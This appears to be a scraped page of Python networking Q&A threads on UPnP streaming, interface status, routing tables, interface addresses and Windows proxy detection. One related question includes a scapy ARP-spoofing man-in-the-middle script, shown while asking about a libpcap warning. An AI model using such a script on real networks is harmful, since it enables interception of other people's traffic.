After looking for some time to a solution for streaming audio/video via uPnP, Coherence seems to be the most promising option: For example: http://coherence.beebits.net/browser/trunk/Coherence/coherence/backends/gstreamer_renderer.py seems to be what would be required to play a file directly to a HDMI TV dongle.
Oddly enough, after installing the Ubuntu coherence package, running import coherence in Python terminal doesn't really show anything like this module. Tab completion in bpython shows:
>>> coherence.
┌───────────────────────────────────────────────────────────────────────────┐
│SERVER_ID Version platform │
│sys twisted_version twisted_web_version │
└───────────────────────────────────────────────────────────────────────────┘
and those submodules seem to just give info about the system. How do I import and use Coherence to stream the desktop, or a video, to a uPnP screen? Is there a basic getting started guide?
Update
It looks like GUPnP has ability to link in to Python:
>>> from gi.repository import GUPnP
>>> GUPnP.ControlPoint.new()
Traceback (most recent call last):
File "<input>", line 1, in <module>
TypeError: new() takes exactly 2 arguments (0 given)
Which is apparently calling the function documented here:
https://developer.gnome.org/gupnp/unstable/GUPnPControlPoint.html
Unfortunately the docs don't have any full examples of how to stream to a video receiver - specifically, how does it initiate sending the video file over the network?
Update: This is the first step I use to detect the device:
import socket
import threading
import time
Addr = None;
StartLock = threading.Lock()
def DoUDP():
global Addr
global StartLock
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #Internet, UDP
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
while 1:
s.sendto('0:0',('192.168.0.255',63630))
data,addr = s.recvfrom(1024)
print data
print 'from', addr
Addr = addr
try:
StartLock.release()
except:
pass
time.sleep(1)
return
StartLock.acquire()
print 'starting...'
udpthread = threading.Thread(target=DoUDP)
udpthread.start();
#... knowing address of the device... send stuff?
About GUPnP on python: it's not extensively used and definitely not documented well enough but it should work. Here's a quick example of listing the available devices on wlan0 network using a GUPnP ControlPoint:
from gi.repository import GLib, GUPnP
def device_available (cp, proxy):
print ("Found " + proxy.get_friendly_name ())
ctx = GUPnP.Context.new (None, "wlan0", 0)
cp = GUPnP.ControlPoint.new (ctx, "upnp:rootdevice")
cp.set_active (True)
cp.connect ("device-proxy-available", device_available)
GLib.MainLoop ().run ()
The problem with "streaming to a renderer" is that you actually need two things: the control point that tells the renderer what you want to play, and the mediaserver that serves the actual media when the renderer asks for it -- if these are integrated into one (called the "2-box push model"), the mediaserver part is not quite as complex but it still needs to be done.
One project you may be interested in is dleyna: It is based on GUPnP and tries to make this client side work a little easier. See Jens' article and documentation for PushHost. However dleyna is a set of D-Bus services, not a library so you'll have to decide if it fits your purposes.
Alternatively you can of course have a normal mediaserver (like rygel) running and use a control point (like gupnp-av-cp from gupnp-tools) to select the media you want to play and the renderer that should play it.
Related
I am using scapy for a simple MITM attack script (I am using it for educational perposes only of course), and I got this strange error which says : WARNING: No libpcap provider available ! pcap won't be used. I tryied looking this error up online but no one realy answered it. What does this error mean? Is it possible that I am just not using the script correctly? Any help vould be appreciated.
Here is my script:
import scapy.all as scapy
def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
finalpacket = broadcast/arp_request
answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc
return(mac)
def restore(destination_ip, source_ip):
target_mac = get_target_mac(destination_ip)
source_mac = get_target_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
scapy.sendp(packet, verbose=False)
def spoof_arp(target_ip, spoofed_ip):
mac = get_target_mac(target_ip)
packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
scapy.sendp(packet, verbose=False)
def main():
try:
while True:
spoof_arp('router_ip', 'fake_ip')#I hided the real ip
spoof_arp('fake_ip', 'router_ip')
except KeyboardInterrupt:
restore('router_ip', 'fake_ip')
restore('fake_ip', 'router_ip')
exit(0)
I think that user16139739 give a possible solution. I got some problems with scapy, this being one of them, the stable has some know bugs which were corrected in the development version.
I did not install anything else, in my case perhaps I already used user16139739 solution before, but still get this error in some point and another with RawPcapReader, so I used the development version.
libpcap is a library for Unix, you need an alternate (npcap) or windows compatible counterpart (WinPcap)
I was able to remedy the problem by installing Nmap (Network Packet Manipulation Library for windows 10).
In Python, is there a way to detect whether a given network interface is up?
In my script, the user specifies a network interface, but I would like to make sure that the interface is up and has been assigned an IP address, before doing anything else.
I'm on Linux and I am root.
The interface can be configured with an IP address and not be up so the accepted answer is wrong. You actually need to check /sys/class/net/<interface>/flags. If the content is in the variable flags, flags & 0x1 is whether the interface is up or not.
Depending on the application, the /sys/class/net/<interface>/operstate might be what you really want, but technically the interface could be up and the operstate down, e.g. when no cable is connected.
All of this is Linux-specific of course.
As suggested by #Gabriel Samfira, I used netifaces. The following function returns True when an IP address is associated to a given interface.
def is_interface_up(interface):
addr = netifaces.ifaddresses(interface)
return netifaces.AF_INET in addr
The documentation is here
Answer using psutil:
import psutil
import socket
def check_interface(interface):
interface_addrs = psutil.net_if_addrs().get(interface) or []
return socket.AF_INET in [snicaddr.family for snicaddr in interface_addrs]
With pyroute2.IPRoute:
from pyroute2 import IPRoute
ip = IPRoute()
state = ip.get_links(ip.link_lookup(ifname='em1'))[0].get_attr('IFLA_OPERSTATE')
ip.close()
With pyroute2.IPDB:
from pyroute2 import IPDB
ip = IPDB()
state = ip.interfaces.em1.operstate
ip.release()
You can see the content of the file in /sys/class/net/<interface>/operstate. If the content is not down then the interface is up.
If the question is about checking if the cable is conencted (FreeBSD);
[status for status in run.cmd(' /usr/local/bin/sudo ifconfig %s ' % interface).split("\t") if status.strip().startswith("status")][0].strip().endswith("active")
For this, no api support so far :( ...
I posted Python find first network hop about trying to find the first hop and the more I thought about it, the easier it seemed like it would be a process the routing table in python. I'm not a programmer, I don't know what I'm doing. :p
This is what I came up with, the first issue I noticed is the loopback interface doesn't show up in the /proc/net/route file- so evaluating 127.0.0.0/8 will give you the default route... for my application, that doesn't matter.
Anything else major I'm overlooking? Is parsing ip route get <ip> still a better idea?
import re
import struct
import socket
'''
Read all the routes into a list. Most specific first.
# eth0 000219AC 04001EAC 0003 0 0 0 00FFFFFF ...
'''
def _RtTable():
_rt = []
rt_m = re.compile('^[a-z0-9]*\W([0-9A-F]{8})\W([0-9A-F]{8})[\W0-9]*([0-9A-F]{8})')
rt = open('/proc/net/route', 'r')
for line in rt.read().split('\n'):
if rt_m.match(line):
_rt.append(rt_m.findall(line)[0])
rt.close()
return _rt
'''
Create a temp ip (tip) that is the entered ip with the host
section striped off. Matching to routers in order,
the first match should be the most specific.
If we get 0.0.0.0 as the next hop, the network is likely(?)
directly attached- the entered IP is the next (only) hop
'''
def FindGw(ip):
int_ip = struct.unpack("I", socket.inet_aton(ip))[0]
for entry in _RtTable():
tip = int_ip & int(entry[2], 16)
if tip == int(entry[0], 16):
gw_s = socket.inet_ntoa(struct.pack("I", int(entry[1], 16)))
if gw_s == '0.0.0.0':
return ip
else:
return gw_s
if __name__ == '__main__':
import sys
print FindGw(sys.argv[1])
In the man page of proc file system it is given that.
/proc/net
various net pseudo-files, all of which give the status of some part of
the networking layer. These files contain ASCII structures and are,
there‐fore, readable with cat(1).
However, the standard netstat(8) suite provides much
cleaner access to these files.
Just rely on the tools designed for those purposes. Use netstat, traceroute or any other standard tool. Wrap those commands cleanly using subprocess module and get the information for what you are looking for.
With pyroute2.IPRoute, get the next hop on the way to some distant host, here — 8.8.8.8:
from pyroute2 import IPRoute
with IPRoute() as ipr:
print(ipr.route('get', dst='8.8.8.8'))
I am running my code on multiple VPSes (with more than one IP, which are set up as aliases to the network interfaces) and I am trying to figure out a way such that my code acquires the IP addresses from the network interfaces on the fly and bind to it. Any ideas on how to do it in python without adding a 3rd party library ?
Edit I know about socket.gethostbyaddr(socket.gethostname()) and about the 3rd party package netifaces, but I am looking for something more elegant from the standard library ... and parsing the output of the ifconfig command is not something elegant :)
The IP addresses are assigned to your VPSes, no possibility to change them on the fly.
You have to open a SSH tunnel to or install a proxy on your VPSes.
I think a SSH tunnel would be the best way how to do it, and then use it as SOCKS5 proxy from Python.
This is how to get all IP addresses of the server the script is running on:
(this is as much elegant as possible and it only needs the standard library)
import socket
import fcntl
import struct
import array
def all_interfaces():
max_possible = 128 # arbitrary. raise if needed.
bytes = max_possible * 32
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
names = array.array('B', '\0' * bytes)
outbytes = struct.unpack('iL', fcntl.ioctl(
s.fileno(),
0x8912, # SIOCGIFCONF
struct.pack('iL', bytes, names.buffer_info()[0])
))[0]
namestr = names.tostring()
return [namestr[i:i+32].split('\0', 1)[0] for i in range(0, outbytes, 32)]
I develop a critical application used by a multi-national company. Users in offices all around the globe need to be able to install this application.
The application is actually a plugin to Excel and we have an automatic installer based on Setuptools' easy_install that ensures that all a project's dependancies are automatically installed or updated any time a user switches on their Excel. It all works very elegantly as users are seldom aware of all the installation which occurs entirely in the background.
Unfortunately we are expanding and opening new offices which all have different proxy settings. These settings seem to change from day to day so we cannot keep up with the outsourced security guys who change stuff without telling us. It sucks but we just have to work around it.
I want to programatically detect the system-wide proxy settings on the Windows workstations our users run:
Everybody in the organisazation runs Windows XP and Internet Explorer. I've verified that everybody can download our stuff from IE without problems regardless of where they are int the world.
So all I need to do is detect what proxy settings IE is using and make Setuptools use those settings. Theoretically all of this information should be in the Registry.. but is there a better way to find it that is guaranteed not to change with people upgrade IE? For example is there a Windows API call I can use to discover the proxy settings?
In summary:
We use Python 2.4.4 on Windows XP
We need to detect the Internet Explorer proxy settings (e.g. host, port and Proxy type)
I'm going to use this information to dynamically re-configure easy_install so that it can download the egg files via the proxy.
UPDATE0:
I forgot one important detail: Each site has an auto-config "pac" file.
There's a key in Windows\CurrentVersion\InternetSettings\AutoConfigURL which points to a HTTP document on a local server which contains what looks like a javascript file.
The pac script is basically a series of nested if-statements which compare URLs against a regexp and then eventually return the hostname of the chosen proxy-server. The script is a single javascript function called FindProxyForURL(url, host)
The challenge is therefore to find out for any given server which proxy to use. The only 100% guaranteed way to do this is to look up the pac file and call the Javascript function from Python.
Any suggestions? Is there a more elegant way to do this?
Here's a sample that should create a bullet green (proxy enable) or red (proxy disable) in your systray
It shows how to read and write in windows registry
it uses gtk
#!/usr/bin/env python
import gobject
import gtk
from _winreg import *
class ProxyNotifier:
def __init__(self):
self.trayIcon = gtk.StatusIcon()
self.updateIcon()
#set callback on right click to on_right_click
self.trayIcon.connect('popup-menu', self.on_right_click)
gobject.timeout_add(1000, self.checkStatus)
def isProxyEnabled(self):
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\Microsoft\Windows\CurrentVersion\Internet Settings")
subCount, valueCount, lastModified = QueryInfoKey(aKey)
for i in range(valueCount):
try:
n,v,t = EnumValue(aKey,i)
if n == 'ProxyEnable':
return v and True or False
except EnvironmentError:
break
CloseKey(aKey)
def invertProxyEnableState(self):
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0, KEY_WRITE)
if self.isProxyEnabled() :
val = 0
else:
val = 1
try:
SetValueEx(aKey,"ProxyEnable",0, REG_DWORD, val)
except EnvironmentError:
print "Encountered problems writing into the Registry..."
CloseKey(aKey)
def updateIcon(self):
if self.isProxyEnabled():
icon=gtk.STOCK_YES
else:
icon=gtk.STOCK_NO
self.trayIcon.set_from_stock(icon)
def checkStatus(self):
self.updateIcon()
return True
def on_right_click(self, data, event_button, event_time):
self.invertProxyEnableState()
self.updateIcon()
if __name__ == '__main__':
proxyNotifier = ProxyNotifier()
gtk.main()
As far as I know, In a Windows environment, if no proxy environment variables are set, proxy settings are obtained from the registry's Internet Settings section. .
Isn't it enough?
Or u can get something useful info from registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer
Edit:
sorry for don't know how to format comment's source code, I repost it here.
>>> import win32com.client
>>> js = win32com.client.Dispatch('MSScriptControl.ScriptControl')
>>> js.Language = 'JavaScript'
>>> js.AddCode('function add(a, b) {return a+b;}')
>>> js.Run('add', 1, 2)
3